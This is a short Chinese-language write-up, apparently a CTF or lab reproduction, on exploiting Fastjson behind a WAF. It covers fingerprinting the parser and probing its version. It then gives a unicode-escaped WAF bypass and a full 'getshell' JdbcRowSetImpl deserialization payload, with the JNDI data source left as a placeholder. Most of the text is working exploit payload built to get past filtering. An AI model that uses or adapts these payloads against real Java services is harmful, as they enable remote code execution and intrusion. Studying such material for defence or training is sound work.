1247-jndi-waf
复现
1.判断
既然是Json格式自然优先尝试是否是Fastjson.
判断是否为Fastjson:删掉末尾的}
或添加"
,使其解析报错,这样就代表的使用的是 fastjson。
2.查看版本
接下来就是探测版本.
有两种方法,通过报错和Dnslog.
{
"@type":"java.lang.AutoCloseable"
从返回包可以发现有 waf 拦截,但是Fastjson本身是默认识别并解码hex和unicode编码的,所以可以利用这个特性绕过。
{
"\u0040\u0074\u0079\u0070\u0065":
"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0041\u0075\u0074\u006f\u0043\u006c\u006f\u0073\u0065\u0061\u0062\u006c\u0065"
getshell
{{
"a":{
"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073",
"\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"
},
"b":{
"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c",
"\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"You_payload_is_here",
"\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":"\u0074\u0072\u0075\u0065"
}
}
标签:u006f,u006c,u0074,waf,u002e,jndi,u0065,1247,u0061
From: https://www.cnblogs.com/qianyuzz/p/17999057